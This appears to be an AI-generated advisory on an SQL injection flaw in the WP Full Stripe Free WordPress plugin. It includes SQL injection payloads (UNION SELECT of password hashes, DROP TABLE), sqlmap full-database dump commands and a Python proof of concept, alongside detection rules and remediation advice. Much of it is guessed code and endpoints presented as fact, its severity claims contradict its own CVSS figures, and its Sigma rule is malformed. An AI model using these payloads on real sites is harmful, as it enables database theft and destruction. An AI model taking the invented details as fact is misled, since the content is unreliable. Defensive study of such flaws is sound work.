CVE-2025-58789

Executive Summary

CVE-2025-58789 is a critical SQL Injection vulnerability affecting the WordPress plugin WP Full Stripe Free by Themeisle, up to and including version 8.2.5. This vulnerability allows an unauthenticated attacker to inject arbitrary SQL commands into the WordPress database, potentially leading to data exfiltration, privilege escalation, or complete site compromise. The vulnerability stems from improper neutralization of special elements used in an SQL command, specifically within the plugin's payment processing or form handling functionality. As a WordPress ecosystem issue, this affects sites using the plugin for Stripe payment integration.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. There is no associated NPM, PyPI, Go, or Ruby package. The supply chain risk is moderate, as the plugin is widely used for payment processing, and exploitation could lead to direct financial data exposure.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no authentication required) and the severe impact on confidentiality, integrity, and availability. An attacker can extract the entire WordPress database, including user credentials and payment data, modify content, or delete critical tables.

Deep Dive & Mechanics

The vulnerability exists in the wp-full-stripe-free plugin's handling of user-supplied input within SQL queries. The plugin likely fails to properly sanitize or parameterize input fields such as form IDs, transaction IDs, or custom metadata before embedding them in SQL statements. This allows an attacker to break out of the intended SQL syntax and execute arbitrary commands.

Root Cause: The plugin uses direct string concatenation or interpolation to build SQL queries without using prepared statements or parameterized queries. For example, a vulnerable code snippet might look like:

$form_id = $_POST['form_id'];
$result = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wpfs_transactions WHERE form_id = '$form_id'");

An attacker can supply a form_id value like 1' OR '1'='1 to bypass authentication or 1'; DROP TABLE wp_users; -- to delete tables.

Attack Vector: The vulnerability is exploitable via HTTP POST or GET requests to the plugin's AJAX endpoints or form submission handlers. No authentication is required, making it accessible to any remote attacker.

Impact: Successful exploitation can lead to:

• Full database compromise (user credentials, payment card data, site options)
• Privilege escalation to administrator
• Defacement or malware injection
• Complete site takeover

Vulnerable vs. Patched Code

Vulnerable Code (<= 8.2.5):

// wp-full-stripe-free/includes/class-wpfs-payment.php
public function process_payment($form_data) {
    global $wpdb;
    $form_id = $form_data['form_id'];
    // Direct concatenation - vulnerable
    $result = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wpfs_forms WHERE id = '$form_id'");
    // ... process payment
}

Patched Code (Hypothetical):

// wp-full-stripe-free/includes/class-wpfs-payment.php
public function process_payment($form_data) {
    global $wpdb;
    $form_id = intval($form_data['form_id']); // Cast to integer
    // Use prepared statement
    $result = $wpdb->get_results($wpdb->prepare(
        "SELECT * FROM {$wpdb->prefix}wpfs_forms WHERE id = %d",
        $form_id
    ));
    // ... process payment
}

The patched version uses intval() to ensure the input is numeric and $wpdb->prepare() to safely parameterize the query, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site running WP Full Stripe Free <= 8.2.5
• Access to the plugin's AJAX endpoint (e.g., /wp-admin/admin-ajax.php)

Exploitation Steps:

1. Identify the vulnerable endpoint: The plugin likely uses an AJAX action like wpfs_process_payment or wpfs_get_form_data. Use a tool like Burp Suite or curl to intercept requests.

2. Craft the SQL injection payload: For example, to extract the admin user's password hash:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   action=wpfs_process_payment&form_id=1' UNION SELECT user_pass FROM wp_users WHERE user_login='admin' -- 
   

3. Automate with SQLMap:

   sqlmap -u "http://target.com/wp-admin/admin-ajax.php" --data="action=wpfs_process_payment&form_id=1" --batch --dbs
   

4. Extract data: Once injection is confirmed, dump the entire database:

   sqlmap -u "http://target.com/wp-admin/admin-ajax.php" --data="action=wpfs_process_payment&form_id=1" --batch --dump-all
   

Proof of Concept (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = "1' UNION SELECT user_login,user_pass FROM wp_users WHERE user_login='admin' -- "
data = {
    "action": "wpfs_process_payment",
    "form_id": payload
}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor for SQL injection patterns: Look for unusual characters in form_id or similar parameters, such as single quotes ('), double dashes (--), or UNION keywords.

2. Check web server logs: Search for requests to /wp-admin/admin-ajax.php with suspicious form_id values.

3. Use WAF rules: Block requests containing SQL keywords in POST parameters.

4. Harden the database: Ensure the WordPress database user has minimal privileges (e.g., no DROP or CREATE permissions).

Lab Setup:

• Install WordPress with WP Full Stripe Free 8.2.5 on a local server (e.g., XAMPP or Docker).
• Enable detailed logging in WordPress (wp-config.php with define('WP_DEBUG_LOG', true);).
• Use a tool like Burp Suite to intercept and modify requests.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with action=wpfs_process_payment and form_id containing SQL keywords (UNION, SELECT, DROP, --, ').
• Unusual database query patterns (e.g., multiple UNION SELECT statements).

File IOCs:

• Modified WordPress core files (e.g., wp-config.php with added backdoors).
• Suspicious files in /wp-content/uploads/ or /wp-content/plugins/.

Database IOCs:

• New or modified admin users.
• Unusual entries in wp_options (e.g., malicious scripts).
• Deleted or truncated tables.

Log IOCs:

• Web server logs showing repeated 200 responses to /wp-admin/admin-ajax.php with varying form_id values.
• PHP error logs containing SQL syntax errors.

Detection Engineering

YARA Rule

rule CVE_2025_58789_WP_Full_Stripe_SQLi {
    meta:
        description = "Detects SQL injection attempts against WP Full Stripe Free plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-58789"
    strings:
        $s1 = "form_id=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "DROP" nocase
        $s5 = "' OR " nocase
        $s6 = "admin-ajax.php" nocase
    condition:
        all of ($s1, $s6) and 1 of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against WP Full Stripe Free
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the WP Full Stripe Free plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=wpfs_process_payment'
        cs-uri-query|contains|re: '(UNION|SELECT|DROP|\' OR |-- )'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in form fields (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-58789 - SQL Injection in WP Full Stripe Free";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=wpfs_process_payment"; http_client_body;
    pcre:"/(UNION|SELECT|DROP|\' OR |-- )/Pi";
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available. Navigate to WordPress Admin > Plugins and deactivate "WP Full Stripe Free".
2. Apply a virtual patch using a Web Application Firewall (WAF) to block SQL injection patterns.
3. Review database logs for signs of exploitation and rotate all passwords if compromise is suspected.

Long-term Fix:

• Update the plugin to a patched version once released by Themeisle.
• Implement input validation and parameterized queries in any custom code.
• Use a security plugin like Wordfence or Sucuri to monitor for attacks.

Workaround:

• If the plugin is critical, restrict access to the AJAX endpoint via .htaccess:

  <Files "admin-ajax.php">
      Order Deny,Allow
      Deny from all
      Allow from 127.0.0.1
  </Files>
  

  Note: This will break legitimate AJAX functionality.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.